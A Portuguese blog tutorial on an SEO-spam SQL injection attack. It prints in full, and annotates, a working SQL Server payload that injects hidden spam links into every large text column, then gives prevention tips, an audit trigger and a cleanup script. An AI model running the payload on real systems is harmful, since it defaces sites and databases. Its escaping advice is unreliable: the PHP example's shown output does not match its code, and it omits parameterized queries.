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22 de março de 2015

Tutorial - INVASÃO! - SQL Injection

Você tem seu site lindo e de repente aparece alguns textos ou propagandas não esperados e, o que fazer agora?

Você procura na internet pelos termos: "how to cheat with a married woman" e encontra apenas diversos de outros sites infectados como o seu.

Abaixo segue alguns de nossos scripts html encontrados em alguns sites infectados pelo SPAM SEO, e veja em uma matéria exclusiva como funciona seu ataque. Capturamos com exclusividade a ação do SQL Injection em um sistema utilizando uma trigger de auditoria e estamos aqui desvendando o código tão perturbador de inúmeros usuários na internet.


O SPAM SEO é um script que insere tags html de sites vulneráveis no intuito de aumentar o Page Rank no Google e em outros mecanismos de busca.

Existe o invasor, mas também existe o contratante que solicita ao SPAMMER o aumento do tráfego de seu site e paga um valor para o mesmo fazer isto.

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Sinto meu caro, você foi atacado provavelmente pelo script abaixo através de uma vulnerabilidade de SQL Injection:


SELECT * FROM PRODUTOS WHERE ID=11871;declare @c cursor;declare @d varchar(4000);set @c=cursor for select 'update ['+TABLE_NAME+'] set ['+COLUMN_NAME+']=['+COLUMN_NAME+']+case ABS(CHECKSUM(NewId()))%7 when 0 then ''''+char(60)+''div style="display:none"''+char(62)+''i dreamed my wife cheated on me ''+char(60)+''a href="http:''+char(47)+char(47)+''www.cfrtu.org''+char(47)+''events.asp"''+char(62)+case ABS(CHECKSUM(NewId()))%3 when 0 then ''how to cheat with a married woman'' when 1 then ''link'' else ''husband cheated wife'' end +char(60)+char(47)+''a''+char(62)+'' dating for married people''+char(60)+char(47)+''div''+char(62)+'''' else '''' end' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%varchar' and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647);open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c-- AND ATIVO = 1;



Vamos entender o código do SPAM SEO, primeiro organizando o código e comentando cada ação:

/* Quebrou a linha do SQL anterior permitindo incluir uma nova transação SQL. */


/* Declarou uma variável de cursor com o nome @c */
declare @c cursor; 

/* Declarou outra variável com tamanho de 4000 bytes de texto */
declare @d varchar(4000);

/* Configurando a variável @c para um código SELECT (que traz um resultado) */
set @c=cursor 
for 
select 

/* Abaixo ele realiza uma ação de texto para o cursor, o SELECT irá responder com esta string. 
Observe que ele cria uma ação de update onde pega sempre uma tabela, uma coluna, e adiciona código de texto randômico por módulo 7 (qualquer número módulo % 7, irá resultar em um número entre 0 e 6 fechado).

Char são funções que chamam caracteres da tabela ASCII.
Char(47) = ALT+47 (numpad) que é igual à: " / "
NewId() = Gera um número randômico no SQL Server.
*/

'update 
['+TABLE_NAME+']
set ['+COLUMN_NAME+']=['+COLUMN_NAME+'] + case ABS(CHECKSUM( NewId() ) ) % 7  when 0 then ''''
+ char(60) + ''div style="display:none"'' 
+ char(62) + ''i dreamed my wife cheated on me '' 
+ char(60) + ''a href="http:'' 
+ char(47) + char(47) + ''www.cfrtu.org''
+ char(47) + ''events.asp"'' 
+ char(62) + case ABS(CHECKSUM( NewId() ))%3 when 0 then ''how to cheat with a married woman'' when 1 then ''link'' else ''husband cheated wife'' end 
+ char(60) + char(47) + ''a'' 
+ char(62) + '' dating for married people''
+ char(60) + char(47) + ''div''+char(62) + '''' else '''' end' 

/* Aqui traz do engine do banco as tabelas e suas colunas existentes para completar a string acima com todas as tabelas no banco que são *varchar (nvarchar, varchar) de tamanho grande (para não falhar a inserção do código) */

FROM sysindexes AS i 
   INNER JOIN sysobjects AS o ON i.id=o.id 
   INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME 

WHERE(indid=0 or indid=1) 
and DATA_TYPE like '%varchar' 
and(
CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647
);

/* Aqui executa todas as ações que foram salvas na consulta acima para o cursor */
open @c;
fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);
fetch next from @c into @d;
end;
close @c--



E assim com os dois "--" finaliza a transação ignorando o restante do código que vier.

Prevenção - Evite que este ataque ocorra em seu site:

Verifique se seu site tem proteção específica em todos os campos de texto onde buscam informações no banco de dados, sempre prevenindo a seguinte questão:

Quando você faz uma programação, em qualquer linguagem, temos:

variavel = "SQLSQLSQLSQLSQL";

Nem sempre irá realizar uma consulta fixa, geralmente irá trazer alguma informação do usuário também.

categoria = "5"
variavel = "SELECT * FROM PRODUTOS WHERE CATEGORIA = " & categoria & ";";

variavel agora é
SELECT * FROM PRODUTOS WHERE CATEGORIA = 5;

Analisando que a variável categoria seja o seguinte:
categoria = "5; SELECT @@SPID "
variavel = "SELECT * FROM PRODUTOS WHERE CATEGORIA = " & categoria & ";";

Então agora você terá o seguinte conteúdo em sua variável:
SELECT * FROM PRODUTOS WHERE CATEGORIA = 5; SELECT @@SPID;

Isto irá gerar um erro, e consequentemente, você terá que tratar este erro.

1º: Nunca passe uma informação da Web direto para o banco. Verifique a tecnologia utilizada e procure por "Caracteres de Escape". No SQL Server, temos apenas as aspas simples (ufa), mas no MySQL, existem várias, pois é compatível com uma engine de escrita baseada em linguagem C.

VBScript:
categoria = "5; SELECT @@SPID "
categoria = replace( categoria , "'","''")
variavel = "SELECT * FROM PRODUTOS WHERE CATEGORIA = '" & categoria & "';";
PHP:
<?php
$categoria = "5; SELECT @@SPID ";
$categoria = str_replace( "'","''", $categoria );
$variavel = "SELECT * FROM PRODUTOS WHERE CATEGORIA = " . $categoria;
echo $variavel;
?>

Então sua variável irá retornar:
SELECT * FROM PRODUTOS WHERE CATEGORIA = '5; SELECT @@SPID ';

E de fato a categoria à ser buscada será uma categoria que jamais irá existir.


Caracteres de escape MySQL Like (MySQL, PostgreSQL, Oracle, Unix databases)

Conforme documentação oficial do site MySQL, o código de escape para os seguintes caracteres abaixo são com uma barra em sua frente:

Table 9.1 Special Character Escape Sequences
Escape SequenceCharacter Represented by Sequence
\0An ASCII NUL (0x00) character.
\'A single quote (') character.
\"A double quote (") character.
\bA backspace character.
\nA newline (linefeed) character.
\rA carriage return character.
\tA tab character.
\ZASCII 26 (Control+Z). See note following the table.
\\A backslash (\) character.
\%% character. See note following the table.
\__ character. See note following the table.

Então leve isto em consideração pois há vários outros caracteres que necessitam de um controle especial para cada tipo de banco de dados.

Para SQL Server, como não há suporte para muitos destes caracteres, as aspas simples em dobro resolve o problema de SQL Injection.

Fui atacado, meu site está cheio destes textos, e agora?

Primeiro calmamente utilize as etapas e correção acima antes de corrigir seu banco, pois gastará mais tempo arrumando seu banco se vier novo ataque (e pode vir em qualquer momento!).

Não tenho ideia onde tem a vulnerabilidade de SQL Injection, o que faço?

Você pode fazer como nossa equipe, fizemos uma trigger para capturar todos os eventos de uma determinada tabela no que diz de include, update e delete, armazenando estes dados em uma outra tabela.

Segue código utilizado para auditoria na suposta tabela "Produtos":
USE [sua_base_de_dados]
CREATE TABLE _LOGG(id int not null primary key identity(1,1),EventType nvarchar(30),[Parameters] INT,EventInfo nvarchar(4000),data datetime)
GO
CREATE TRIGGER [dbo].[TRIGGER_AUDITORIA] ON [Produtos]
FOR INSERT, UPDATE, DELETE AS BEGIN
   DECLARE @TEMP TABLE (EventType NVARCHAR(30), Parameters INT, EventInfo NVARCHAR(4000))
   INSERT INTO @TEMP EXEC('DBCC INPUTBUFFER(@@SPID)')
   INSERT INTO _LOGG
   SELECT 'SeuTextoDeIdentificaçãoDestaTrigger', EventType, Parameters, EventInfo, getdate() FROM @TEMP
END
Sempre que algum evento suspeito ocorrer, o código SQL na íntegra será salvo na tabela "_LOGG".

Tenho milhares de tabelas e dados, levaria dias para arrumar tudo, o que fazer?

Ok, vamos utilizar o "MESMO" script entretanto com algumas modificações (alguém já ouviu falar algo de atacar com o que te ataca?) pois você não tem tempo de ficar o dia todo caçando cada tabela e removendo cada item certo?

Entre no seu SQL Server e rode o seguinte script (desenvolvido pela Tutorial TI para SQL Server - testado com versão 2008 R2, mas pode funcionar em outras versões):

declare @c cursor; declare @d varchar(4000); set @c=cursor for select 'update ['+TABLE_NAME+'] set ['+COLUMN_NAME+']=case when charindex(''<div style="display:none"'',['+COLUMN_NAME+'])>0 then substring(['+COLUMN_NAME+'],0,charindex(''<div style="display:none"'',['+COLUMN_NAME+'])) else case when charindex(''<div style=display:none'',['+COLUMN_NAME+'])>0 then substring(['+COLUMN_NAME+'],0,charindex(''<div style=display:none'',['+COLUMN_NAME+'])) else ['+COLUMN_NAME+'] end end' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%varchar' and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647); open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c--

Então seu banco de dados estará livre dos códigos de SPAM que estavam lhe atormentando em milésimos de segundo, mas não esqueça que: Antes de corrigir seu banco, o ideal é achar a brecha de segurança e fechá-la antes que isto ocorra.



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